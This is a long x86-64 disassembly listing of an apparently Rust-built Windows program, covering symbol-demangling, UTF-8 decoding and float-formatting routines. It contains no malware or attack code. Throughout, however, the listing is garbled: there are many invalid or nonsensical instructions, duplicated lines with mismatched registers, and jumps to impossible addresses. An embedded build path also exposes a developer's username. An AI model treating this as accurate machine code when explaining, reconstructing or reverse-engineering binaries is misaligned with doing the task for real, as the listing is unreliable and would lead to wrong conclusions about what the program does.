jae 0x14006db80
inc r9
mov qword [rsi + 0x10], r9
inc rax
jne 0x14006dc11
mov rcx, qword [rsi + 0x20]
test rcx, rcx
and byte [rax - 0x7b], cl
leave
je 0x14006dbfe
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
add byte [rax], al
add al, ch
sbb al, byte [rbx - 3]
invalid
mov ecx, eax
mov al, 1
add byte [rax], al
add al, ch
sbb al, byte [rbx - 3]
dec dword [rcx - 0x7bfe4f3f]
leave
test cl, cl
jne 0x14006dc0b
mov qword [rsi], 0
mov byte [rsi + 8], 0
xor eax, eax
invalid
ror byte [rax - 0x7d], 0xc4
and byte [rsi - 0x3d], bl
add rsp, 0x20
pop rsi
ret
mov rcx, rsi
mov rdx, rax
add rsp, 0x20
pop rsi
jmp fcn.14006e310
int3
push rbx
sub rsp, 0x38
mov rsi, rcx
invalid
mov rcx, qword [rcx]
test rcx, rcx
leave
invalid
leave
je 0x14006e1d7
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r9
jae case.0x14006dc9c.67
add byte [rax], al
movzx ebx, byte [rcx + rax]
lea r8, [rax + 1]
mov qword [rsi + 0x10], r8
mov r10d, dword [rsi + 0x18]
sbb byte [rcx - 1], al
ret 0x8944
push rsi
sbb byte [rcx - 0x7f], al
cmp edx, 0x1f4
cmp edx, 0x1f4
ja 0x14006dd00
movzx r10d, bl
add r10d, 0xffffffbf
cmp r10d, 0x38
ja case.0x14006dc9c.67
rol dword [rcx - 0x7d], cl
ret 0x41bf
add byte [rax], al
lea r11, [0x1400efc64]
movsxd r10, dword [r11 + r10*4]
add r10, r11
jmp r10
fiadd dword [rcx - 1]
loop 0x14006dced
invalid
cmp eax, ecx
jae case.0x14006dc9c.104
cmp byte [rcx + r8], 0x6e
jne case.0x14006dc9c.104
mov rcx, rsi
mov edx, ebx
call fcn.14006e500
mov dil, 1
test al, al
jne 0x14006e1fc
add byte [rax - 0x7d], cl
add byte ds:[rdi], cl
test byte [rdx], al
add eax, 0x4eff0000
sbb cl, ch
cli
add al, 0
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006dd26
lea rdx, [0x1400e37d0]
mov r8d, 0x19
call fcn.140041f10
mov dil, 1
test al, al
jne 0x14006e1fc
mov qword [rsi], 0
mov byte [rsi + 8], 1
jmp 0x14006e1fa
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006de7c
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006e1fa
invalid
invalid
invalid
invalid
add byte [rdx + 0xa], bh
call fcn.1400a9fa0
ud2
invalid
lea eax, [0x1400e3748]
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400aa670
ud2
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 8]
jae 0x14006f070
cmp byte [rax + rcx], 0x45
je 0x14006f0b8
test rsi, rsi
je 0x14006f090
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x14006f090
mov r8d, 2
mov rdx, r14
add byte [rcx + rcx*4 - 0xe], cl
call fcn.140041f10
test al, al
jne 0x14006f0b1
mov rcx, rbx
mov dl, 1
call fcn.14006dc30
test al, al
jne 0x14006f0b1
inc rsi
mov rax, qword [rbx]
test rax, rax
jne 0x14006f060
jmp 0x14006f0c1
mov edi, 1
jmp 0x14006f0c1
inc rcx
mov qword [rbx + 0x10], rcx
xor edi, edi
ror dword [rax - 0x77], 0x4b
adc byte [rcx], dh
dec dword [rax - 0x77]
clc
mov rax, rdi
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
int3
lea ebx, [rsp + 0x40]
lea r14, str.:_library_std_srciomod.rs
lea r15, [0x1400e37f1]
invalid
add byte [rbp + 0x31], al
invalid
invalid
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r9
jae 0x14006f137
cmp byte [r8 + rax], 0x45
je 0x14006f34a
adc eax, dword [rdx]
add byte [rax], al
adc eax, dword [rdx]
add byte [rax], al
test r12, r12
je 0x14006f16f
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006f16f
mov r8d, 2
mov rdx, r15
mov edx, edi
mov edx, edi
call fcn.140041f10
test al, al
jne case.0x14002f576.436
invalid
add byte [rbx + rcx*4 + 6], cl
mov r8, qword [rsi]
test r8, r8
je 0x14006f212
mov r9, qword [rsi + 8]
mov ecx, dword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r9
jae 0x14006f260
cmp byte [r8 + rax], 0x73
jne 0x14006f260
lea rcx, [rax + 1]
mov qword [rsi + 0x10], rcx
cmp rcx, r9
jae 0x14006f1a4
cmp byte [r8 + rcx], 0x5f
jne 0x14006f1a4
add rax, 2
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x10], eax
mov dword [rsi + 0x10], eax
jmp 0x14006f260
add byte [rcx], dh
shl byte [rsi + 0x2e], 0xf
invalid
xor eax, eax
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
cmp rcx, r9
cmp ecx, ecx
jae 0x14006f2d7
add byte [rcx + 0xf], al
mov dh, 0x14
or byte [rax - 0x7bf0a006], al
jge 0x14006f1c5
movzx edx, byte [r8 + rcx]
cmp dl, 0x5f
je 0x14006f244
add byte [rax], al
lea r10d, [rdx - 0x30]
cmp r10b, 0xa
jb 0x14006f1f4
lea r10d, [rdx - 0x61]
cmp r10b, 0x1a
jae 0x14006f1e0
add dl, 0xa9
jmp 0x14006f1f1
lea r10d, [rdx - 0x41]
cmp r10b, 0x1a
jae 0x14006f2d7
add byte [rax], al
add byte [rax], al
add dl, 0xe3
mov r10d, edx
ror byte [rax - 1], cl
ror dword [rax - 0x77], 0x4e
inc rcx
mov qword [rsi + 0x10], rcx
adc byte [rax - 9], cl
invalid
adc byte [rax - 9], cl
in eax, 0xf
adc bl, 0
add byte [rax], al
invalid
mul ebp
jo 0x14006f2d7
add byte [rcx + 0xf], al
movzx edx, r10b
mov dh, 0xd2
add rax, rdx
jae 0x14006f1b0
sal byte [rbx - 0x5d], 1
jmp 0x14006f2d7
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006f309
mov r13d, 1
mov r8d, 1
lea rdx, [0x1400e37e9]
call fcn.140041f10
test al, al
je 0x14006f2c6
jmp 0x14006f30c
add byte [rax], al
inc rcx
mov qword [rsi + 0x10], rcx
inc rax
je 0x14006f2d7
cmp rax, 0xffffffffffffffff
je 0x14006f2d7
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi - 0x70], ah
nop
mov rcx, rdi
mov rdx, rsi
call fcn.14006cc40
cmp qword [rsp + 0x20], 0
je 0x14006f320
movups xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov r13, qword [rsi + 0x20]
test r13, r13
je 0x14006f2b8
mov rcx, rbx
mov rdx, r13
call fcn.14006ce70
test al, al
jne case.0x14002f576.436
mov r8d, 2
mov rcx, r13
mov rdx, r14
call fcn.140041f10
test al, al
jne case.0x14002f576.436
mov rcx, rsi
mov dl, 1
call fcn.14006dc30
test al, al
jne case.0x14002f576.436
mov r8, qword [rsi]
inc r12
test r8, r8
jne 0x14006f11f
jmp 0x14006f309
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006f2fe
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
mov eax, 0x10
mov eax, 0x10
call fcn.140041f10
test al, al
je 0x14006f2fe
sub al, 0xfd
inc dword [rax + rax*8 - 0x42bef78c]
mov r13d, 1
mov r13d, 1
jmp 0x14006f30c
invalid
mov qword [rsi], 0
mov byte [rsi + 8], 0
add dh, al
or byte [rax], r8b
xor r13d, r13d
mov rax, r13
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx ebx, byte [rsp + 0x28]
mov rcx, qword [rsi + 0x20]
test bl, bl
sub byte [rax - 0x75], cl
and byte [rbx + r11*8 - 0x7ab7d98c], r8b
je 0x14006f353
test rcx, rcx
je 0x14006f353
test rcx, rcx
je case.0x140046b1e.333
lea rdx, [0x1400e37d0]
mov r8d, 0x19
call fcn.140041f10
int3
sub edi, ebp
invalid
test al, al
jne case.0x14002f576.436
int3
jmp case.0x140046b1e.333
inc rax
mov qword [rsi + 0x10], rax
jmp 0x14006f309
test rcx, rcx
je case.0x140046b1e.333
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140041f10
test al, al
jne case.0x14002f576.436
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp 0x14006f309
int3
sub esp, 0xb0
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 0x20]
mov eax, 0x110001
add byte [rcx], dl
add byte [rcx + rbp - 0x3e], cl
add byte [rcx], dl
add byte [rcx + rbp - 0x3e], cl
jb 0x14006f788
mov rax, qword [rcx]
lea r9, [rax + r8]
mov qword [rcx], r9
mov qword [rcx + 8], rdx
cmp r8, 2
jne 0x14006f7c9
movzx r10d, byte [rax]
movzx r8d, byte [rax + 1]
lea eax, [r10 - 0x30]
cmp eax, 0xa
jb 0x14006f3eb
or r10d, 0x20
add r10d, 0xffffff9f
add r10d, 0xa
mov eax, 0xffffffff
cmovae eax, r10d
cmp eax, 0x10
jae 0x14006f7af
lea r11d, [r8 - 0x30]
cmp r11d, 0xa
jb 0x14006f415
or r8d, 0x20
add r8d, 0xffffff9f
add r8d, 0xa
mov r11d, 0xffffffff
cmovae r11d, r8d
cmp r11d, 0x10
jae 0x14006f7af
shl al, 4
or r11b, al
js 0x14006f46b
mov byte [rsp + 0x24], r11b
mov word [rsp + 0x25], 0
mov byte [rsp + 0x27], 0
lea rax, [rsp + 0x24]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov r8d, 1
lea rsi, [rsp + 0x40]
lea rdx, [rsp + 0x24]
and al, 0x48
mov ecx, esi
and al, 0x48
mov ecx, esi
call fcn.140043490
cmp qword [rsp + 0x40], 0
invalid
je 0x14006f49a
invalid
std
dec dword [rax - 0x7d]
jl 0x14006f481
add byte [rcx + rdi - 0x48], sil
add byte [rcx + rdi - 0x48], dh
cmp dword [rax + 0x110000], edi
mov eax, 0x110000
add byte [rax], al
adc dword [rax], eax
invalid
add cl, ch
jmp 0x14006f788
sbb eax, 0xb8000003
mov eax, 0x110000
add byte [rax], al
adc dword [rax], eax
cmp r11b, 0xc0
jb 0x14006f788
invalid
invalid
add eax, dword [rax]
invalid
sti
ror byte [rdi], 0x82
invalid
invalid
invalid
cmp r11b, 0xe0
jb 0x14006f4d4
sti
loopne 0x14006f4f1
push rsp
cmp r11b, 0xf0
cmp bl, 0xf0
jae 0x14006f533
mov r8d, 3
mov eax, 3
mov r10b, 1
xor eax, eax
jmp 0x14006f548
mov rcx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rdx, [rcx + rax]
test rax, rax
je 0x14006f4c7
movzx eax, byte [rcx]
test al, al
js 0x14006f4e1
mov eax, 0x110000
mov r8, rcx
enter 0x37e9, 2
add byte [rax], al
enter 0x37e9, 2
add byte [rax], al
mov r8d, 2
xor r10d, r10d
xor eax, eax
jmp 0x14006f548
invalid
cmp al, 0xdf
jbe 0x14006f6ed
movzx r10d, byte [rcx + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp al, 0xf0
jb 0x14006f6fd
lea r8, [rcx + 4]
movzx eax, byte [rcx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and eax, 0x3f
or eax, r10d
or eax, r9d
jmp 0x14006f70b
cmp r11b, 0xf8
jae 0x14006f788
mov r8d, 4
mov al, 1
xor r10d, r10d
mov byte [rsp + 0x24], r11b
mov word [rsp + 0x25], 0
mov byte [rsp + 0x27], 0
lea rsi, [rsp + 0x24]
je 0x14006f581
and al, 0x48
mov dword [rsp + 0x28], esi
invalid
and al, 0x27
add byte [rax - 0x73], cl
je 0x14006f581
and al, 0x48
mov dword [rsp + 0x28], esi
invalid
sub byte [rcx + rcx*4 + 0x44], cl
and al, 0x30
mov qword [rsp + 0x30], r8
cmp rdx, 2
cmp edx, 2
jb 0x14006f461
invalid
invalid
lea rdi, [r9 + 2]
lea rsi, [rdx - 2]
mov qword [rcx], rdi
mov qword [rcx + 8], rsi
movzx r14d, byte [r9]
movzx ebx, byte [r9 + 1]
lea edi, [r14 - 0x30]
lea edi, [rsi - 0x30]
lea edi, [rsi - 0x30]
cmp edi, 0xa
jb 0x14006f5b1
or r14d, 0x20
add r14d, 0xffffff9f
add r14d, 0xa
mov edi, 0xffffffff
invalid
inc dword [rcx + 0xf]
inc byte [r11 - 0x78f0f001]
inc byte [rcx]
add byte [rax], al
invalid
invalid
add byte [rbp - 0x27c2f95], cl
or dh, byte [rdx + 0x1a]
jb 0x14006f5d3
or ebx, 0x20
invalid
add ebx, 0xffffff9f
lahf
lea ebp, [rbx - 0x30]
cmp ebp, 0xa
jb 0x14006f5d3
and byte [rbx - 0x3c7c603d], al
or bh, byte [rbp - 1]
invalid
invalid
lahf
add ebx, 0xa
mov ebp, 0xffffffff
invalid
invalid
invalid
cmovae ebp, ebx
cmp ebp, 0xf
invalid
ja 0x14006f7af
invalid
shl dil, 4
or bpl, dil
mov byte [rsp + 0x25], bpl
cmp r11b, 0xe0
jb 0x14006f447
cmp rsi, 2
jb 0x14006f461
and byte [rbx - 0x387c6039], al
or bh, byte [rbx - 1]
mov ebx, 0xffffffff
mov ebx, 0xffffffff
cmovae ebx, edi
cmp ebx, 0xf
ja 0x14006f7af
add dword [rax], eax
invalid
fild word [rbx - 0x78f0f005]
pop rdi
add dword [rax], eax
add byte [rax - 0x40], al
out 4, al
shl sil, 4
or bl, sil
mov byte [rsp + 0x26], bl
test r10b, r10b
jne 0x14006f447
invalid
invalid
invalid
cmp r11, 2
jb 0x14006f461
invalid
std
invalid
invalid
invalid
push rcx
invalid
mov dh, 0x51
add eax, 0xd04a8d41
lea ecx, [rdx - 0x30]
cmp ecx, 0xa
jb 0x14006f6ae
or r10d, 0x20
add r10d, 0xffffff9f
add r10d, 0xa
add edx, 0xa
retf 0x4120
add edx, 0xa
mov ecx, 0xffffffff
cmovae ecx, r10d
cmp ecx, 0xf
ja 0x14006f7af
inc dword [rcx + 0xf]
retf 0xf983
invalid
lea r9d, [rdx - 0x30]
cmp r9d, 0xa
jb 0x14006f6d5
or dh, byte [rdx + 0x1d]
or edx, 0x20
add edx, 0xffffff9f
add edx, 0xa
mov r9d, 0xffffffff
cmovae r9d, edx
cmp r9d, 0xf
ja 0x14006f7af
ret 0x839f
test al, al
je 0x14006f796
shl cl, 4
or r9b, cl
mov byte [rsp + 0x27], r9b
jmp 0x14006f447
lea r8, [rcx + 2]
shl r9d, 6
or r9d, r11d
mov eax, r9d
jmp 0x14006f70b
lea r8, [rcx + 3]
shl r9d, 0xc
or r10d, r9d
mov eax, r10d
cmp r8, rdx
je 0x14006f779
movzx r9d, byte [r8]
test r9b, r9b
jns 0x14006f7e3
cmp r9b, 0xe0
jb 0x14006f7e3
cmp r9b, 0xf0
jb 0x14006f7e3
movzx r10d, byte [r8 + 1]
and r10d, 0x3f
movzx r11d, byte [r8 + 2]
and r11d, 0x3f
movzx r8d, byte [r8 + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 0xc
shl r11d, 6
or r11d, r10d
and r8d, 0x3f
or r8d, r11d
or r8d, r9d
cmp r8d, 0x110000
sete r8b
cmp eax, 0x110000
jne 0x14006f783
mov r8b, 1
cmp eax, 0x110000
je 0x14006f7e3
test r8b, r8b
je 0x14006f7e3
add rsp, 0xb0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov ecx, 3
mov rdx, r8
mov r8, rax
call fcn.1400a9fa0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x2b
call fcn.1400aa0a0
ud2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadmod.rs
lea r8, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x28
call fcn.1400aa0a0
ud2
call fcn.14006fb10
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
lea rax, [0x14006fbf0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
lea rax, [0x14006fcb0]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140041690]
mov qword [rsp + 0x68], rax
lea rax, str.internal_error:_entered_unreachable_code:_str::from_utf8_____was_expected_to_have_1_char__but__chars_were_found_6
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 4
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], 3
lea rdx, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
lea rcx, [rsp + 0x80]
call fcn.1400a9ee0
ud2
push rsi
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
movabs rsi, 0xfffffffffffff
movq r13, xmm0
mov rax, r13
and rax, rsi
mov rcx, r13
shr rcx, 0x34
test r13, r13
test ebp, ebp
test ebp, ebp
js 0x140072f01
xor r8d, r8d
and ecx, 0x7ff
test rax, rax
je 0x140072f15
jmp 0x140072f33
mov byte [rdx], 0x2d
mov r8d, 1
add byte [rcx + 0x7ffe1], al
add byte [rax - 0x7b], cl
invalid
jne 0x140072f33
add byte [rcx + 0x7ffe1], al
add byte [rax - 0x7b], cl
sal byte [rbp + 0x1e], 0x85
leave
test ecx, ecx
jne 0x140072f33
mov byte [rdx + r8 + 2], 0x30
mov word [rdx + r8], 0x2e30
shr r13, 0x3f
add r13, 3
jmp 0x1400737d3
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x40], r8
lea edx, [rcx - 0x435]
inc rsi
or rsi, rax
test ecx, ecx
mov ebp, 0xfffffbcc
cmovne ebp, edx
cmove rsi, rax
lea r11, [rsi*4]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
test rax, rax
setne al
cmp ecx, 2
setb r13b
or r13b, al
movabs rdi, 0xcccccccccccccccd
movzx ebx, r13b
test ebp, ebp
js 0x1400730aa
mov qword [rsp + 0x30], rsi
imul esi, ebp, 0x13441
shr esi, 0x12
cmp ebp, 4
adc esi, 0xffffffff
imul r9d, esi, 0x12934f
shr r9d, 0x13
mov rax, rsi
shl rax, 4
lea rcx, [0x1400e3b40]
mov cs, word [rbx]
invalid
add byte [rbx + rcx*4 + 0x24], cl
or byte [rbx + rcx*4 + 0x44], cl
or byte [rax], cl
mov r14, r11
or r14, 2
mov rax, r12
mul r14
mov rcx, rdx
mov rax, r8
mul r14
mov r10, rdx
mov r15, rax
add r15, rcx
adc r10, 0
mov ecx, esi
sub ecx, ebp
add ecx, r9d
leave
mov cs, word [rbx]
invalid
leave
add cl, 0x3d
shrd r15, r10, cl
shr r10, cl
shr edx, cl
shr edx, cl
mov r9, rbx
not r9
add r9, r11
add ecx, ebx
add ecx, ebx
mov rax, r12
mul r9
mov rbp, rdx
mov ebp, edx
mov ebp, edx
mov rax, r8
mul r9
mov r9, rdx
mov ecx, edx
mov ecx, edx
mov r13, rax
add r13, rbp
adc r9, 0
adc ecx, 0
adc ecx, 0
shrd r13, r9, cl
shr r9, cl
jmp 0x189e7b96b
mul ebx
mov r12, rdx
invalid
mov rax, r8
mul r11
mov r8, rdx
ror byte [rcx + rax - 0x20], 1
jmp 0x189e7b96b
invalid
ror byte [rcx + rax - 0x20], 1
adc r8, 0
shrd rax, r8, cl
shrd eax, eax, cl
shrd eax, eax, cl
shr r8, cl
test cl, 0x40
cmove r10, r15
cmove r9, r13
cmove r8, rax
cmp esi, 0x16
jae 0x14007321d
movabs rcx, 0x3333333333333334
mov rax, r11
mul rcx
lea eax, [rdx + rdx*4]
cmp eax, r11d
jne 0x1400731b7
mov ecx, 0xffffffff
nop word cs:[rax + rax]
invalid
add byte [rcx + rcx*4 - 0x28], cl
mov rax, r11
mul rdi
shr rdx, 2
lea eax, [rdx + rdx*4]
inc ecx
cmp eax, r11d
mov r11, rdx
je 0x140073080
cmp ecx, esi
jb 0x14007321d
mov bpl, 1
xor r13d, r13d
jmp 0x1400731ef
mov ecx, ebp
imul ebp, ebp, 0xfff4d105
shr ebp, 0x14
xor eax, eax
cmp ecx, 0xffffffff
setne al
sub ebp, eax
add ecx, ebp
mov eax, ecx
neg eax
mov dword [rsp + 0x2c], ecx
imul r9d, ecx, 0x3ed6cb1
shr r9d, 0x13
cdqe
shl rax, 4
lea rcx, [0x1400e50a0]
mov r15, qword [rax + rcx]
mov r8, qword [rax + rcx + 8]
or byte [rbp - 0x77], cl
fimul dword [rcx - 0x7d]
retf 0x4c02
mov eax, edi
mul r10
mov rcx, rdx
mov rax, r8
mul r10
mov r10, rdx
mov r14, rax
invalid
add r14, rcx
adc r10, 0
mov ecx, ebp
or byte [rbp - 0x77], cl
fimul dword [rcx - 0x7d]
retf 0x4c02
invalid
sub ecx, r9d
add cl, 0x3c
shrd r14, r10, cl
shr r10, cl
not rbx
add rbx, r11
mov rax, r15
mul rbx
mov r12, rdx
mov rax, r8
ror byte [rax - 9], 0xe3
ror byte [rax - 9], 0xe3
mov r9, rdx
mov rbx, rax
add rbx, r12
jrcxz 0x140073184
adc ecx, 0
jrcxz 0x140073184
adc ecx, 0
shrd rbx, r9, cl
shr r9, cl
mov rax, r15
mul r11
mov r15, rdx
mov rax, r8
mul r11
mov r8, rdx
mov eax, edx
mov eax, edx
add rax, r15
adc r8, 0
shrd rax, r8, cl
shr r8, cl
test cl, 0x40
cmove r10, r14
cmove r9, rbx
cmove r8, rax
cmp ebp, 2
jae 0x140073194
mov qword [rsp + 0x30], rsi
mov eax, esi
and eax, 1
xor byte [rcx + 0x1e083f0], cl
sete cl
and r13b, cl
xchg esp, eax
rol dword [rcx + 0x20], 0xcd
sub r10, rax
mov bpl, 1
jmp 0x140073302
cmp ebp, 0x3e
ja 0x1400731b1
mov rax, 0xffffffffffffffff
mov ecx, ebp
shl rax, cl
not rax
ror byte [rcx - 0x7b], 1
ret
je 0x1400732f7
ror byte [rcx - 0x7b], 1
ret
mov ebp, dword [rsp + 0x2c]
jmp case.0x1400270ad.579
test byte [rsp + 0x30], 1
jne case.0x14002739f.551
not rbx
add rbx, r11
mov ecx, 0xffffffff
nop dword [rax]
mov rax, rbx
mul rdi
shr rdx, 2
lea eax, [rdx + rdx*4]
inc ecx
cmp eax, ebx
fmul dword [rax - 0x77]
invalid
je 0x1400731d0
fmul dword [rax - 0x77]
sal dword [rdx + rbp*8 + 0x39], cl
int1
cmp ecx, esi
jb 0x14007321d
xor eax, dword [rcx - 0x4b]
add dword [rcx], esi
in eax, dx
mov r13b, 1
xor ebp, ebp
mov eax, esi
mov dword [rsp + 0x2c], esi
je 0x140073218
sub al, 0xe9
or byte [rcx], al
add byte [rax], al
je 0x140073218
sub al, 0xe9
or byte [rcx], al
add byte [rax], al
mov ecx, 0xffffffff
nop
mov rax, r14
mul rdi
mul edi
mul edi
shr rdx, 2
lea eax, [rdx + rdx*4]
inc ecx
cmp eax, r14d
mov r14, rdx
je 0x140073200
invalid
jmp 0xc3512354
cmp ecx, esi
int1
adc r10, 0xffffffffffffffff
mov ebp, esi
mov rax, r10
shr rax, 2
movabs rbx, 0x28f5c28f5c28f5c3
ret
cmc
sub byte [rdi + rcx*4 - 0x3e], bl
cmc
invalid
ret
mul rbx
mul ebx
mov r11, rdx
shr r11, 2
invalid
add cl, byte [rcx + rcx*4 - 0x38]
mov rax, r9
shr rax, 2
mul rbx
mul ebx
mul ebx
mov rcx, rdx
shr rcx, 2
xor esi, esi
cmp r11, rcx
jbe 0x140073277
mov rax, r8
shr rax, 2
mul rbx
jrcxz 0x1400732a5
shr edx, 2
ror byte [rax - 0x3f], 0xe8
add cl, byte [rax - 9]
jrcxz 0x1400732a5
shr edx, 2
imul eax, edx, 0xffffff9c
add eax, r8d
cmp eax, 0x32
setae sil
mov ebx, 2
add byte [rax], al
add byte [rcx - 0x77], cl
shr bl, 1
invalid
add byte [rax], al
add byte [rcx - 0x77], cl
shr bl, 1
or byte [rcx], dh
xor ebx, ebx
mov rcx, r9
leave
fisttp dword [rcx + rcx*4 - 0x37]
leave
mov r11, r10
mov rax, r11
mul rdi
fmul dword [rax - 9]
out 0x49, eax
mov r9, rdx
mov r9, rdx
mov rax, rcx
mul rdi
enter 0xfffffffffffff748, 0xffffffffffffffe7
shr r9, 3
shr rdx, 3
cmp r9, rdx
cmp ecx, edx
cmp ecx, edx
jbe 0x1400732e3
nop dword [rax + rax]
mov r10, r8
mov edx, eax
mov rcx, rdx
mov rax, r8
ror dword [rcx + rcx*4 - 0x40], 1
mul rdi
mov r8, rdx
shr r8, 3
inc ebx
mov rax, r9
mul rdi
mov r9, rdx
mov rax, rcx
mul rdi
shr r9, 3
shr rdx, 3
shr edx, 3
shr edx, 3
add ecx, dword [rcx + 0x39]
sal dword [rdi - 0x31], 1
cmp r9, rdx
ja 0x1400732a0
lea eax, [r8 + r8]
lea eax, [rax + rax*4]
sub r10d, eax
cmp r10d, 5
cli
add eax, 0xc6930f40
cli
add eax, 0xc6930f40
cmp r8, rcx
sete r13b
or r13b, sil
mov rdi, qword [rsp + 0x38]
jmp 0x14007344c
push rbp
add dword [rax], eax
invalid
push rbp
add dword [rax], eax
add byte [rax - 0x77], cl
je 0x14007331f
mov qword [rsp + 0x30], rsi
mov bpl, 1
xor r13d, r13d
xor byte [rax - 0x4b], al
add dword [rbp + 0x31], eax
in eax, dx
mov rax, r10
mul rdi
mov r11, rdx
shr r11, 3
mov rax, r9
mul rdi
shr rdx, 3
xor esi, esi
xor ebx, ebx
cmp r11, rdx
jbe 0x140073392
sal dword [rsi + 0x70], cl
xor r14d, r14d
nop word cs:[rax + rax]
invalid
add byte [rax - 0x77], cl
ror dword [rbp - 0x76b3edcc], 1
ror byte [rax - 9], 0xe7
mov rcx, rdx
lea esi, [rdx + rdx]
mov rax, r8
mul rdi
mov r10, rdx
lea eax, [rsi + rsi*4]
shr r10, 3
lea edx, [r10 + r10]
lea esi, [rdx + rdx*4]
neg esi
add sil, r8b
cmp eax, r9d
sete al
and r13b, al
test r14b, r14b
sete al
and bpl, al
mov rax, r11
mul rdi
inc ebx
mov r11, rdx
shr r11, 3
mov rax, rcx
mul rdi
shr rdx, 3
add ecx, dword [rbp - 0x77]
ror byte [rcx - 0x77], 1
leave
add ecx, dword [rbp - 0x77]
ror byte [rcx - 0x77], 1
leave
mov r14d, esi
cmp r11, rdx
test byte [rcx + 0x39], 0xd3
ja 0x140073330
test r13b, r13b
jne 0x14007339d
jmp case.0x140046b1e.375
mov rcx, r9
mov r10, r8
ret 0x8445
in eax, dx
je case.0x140046b1e.375
ret 0x8445
mov rax, rcx
mul rdi
mov r9, rdx
shr r9, 3
add eax, dword [rbx - 0x73]
add al, 9
add eax, dword [rbx - 0x73]
add al, 9
lea eax, [rax + rax*4]
cmp eax, ecx
invalid
jne case.0x140046b1e.375
enter 0x5475, 0x66
nop word cs:[rax + rax]
nop dword [rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x30], cl
mov eax, edx
mov rax, r10
mov eax, edx
mul rdi
mul edi
mov r8, rdx
shr r8, 3
shr eax, 3
shr eax, 3
lea eax, [r8 + r8]
lea r11d, [rax + rax*4]
sbb al, 0x80
sbb al, 0x80
neg r11d
neg ebx
add r11b, r10b
test sil, sil
test dh, dh
test dh, dh
sete al
and bpl, al
inc ebx
ret
mov rax, r9
mul rdi
shr rdx, 3
shr edx, 3
ret
shr edx, 3
invalid
lea eax, [rdx + rdx]
lea eax, [rax + rax*4]
mov rcx, r9
mov ecx, ecx
mov ecx, ecx
mov r10, r8
mov esi, r11d
mov esi, ebx
mov esi, ebx
cmp eax, r9d
cmp eax, ecx
mov r9, rdx
je 0x1400733c0
jmp 0x14007340f
mov r11d, esi
mov r8, r10
mov eax, r8d
and al, 1
or al, 4
cmp r11b, 5
cmp bl, 5
cmp bl, 5
add eax, 0xd3b60f41
movzx edx, r11b
movzx eax, al
cmovne eax, edx
test bpl, bpl
cmove eax, edx
cmp r8, rcx
sete cl
not r13b
not ch
not ch
or r13b, byte [rsp + 0x30]
cmp al, 5
setae al
and r13b, cl
or r13b, al
or ch, al
or ch, al
mov rdi, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x2c]
add ebp, ebx
movzx ebx, r13b
add rbx, r8
add ebx, eax
add ebx, eax
mov eax, 0x11
movabs rcx, 0x2386f26fc0ffff
mov ecx, 0x6fc0ffff
xacquire xchg byte [rbx], ah
add byte [rax + 0x39], cl
retf
ja 0x140073576
add byte [rax], al
mov ecx, 0x6fc0ffff
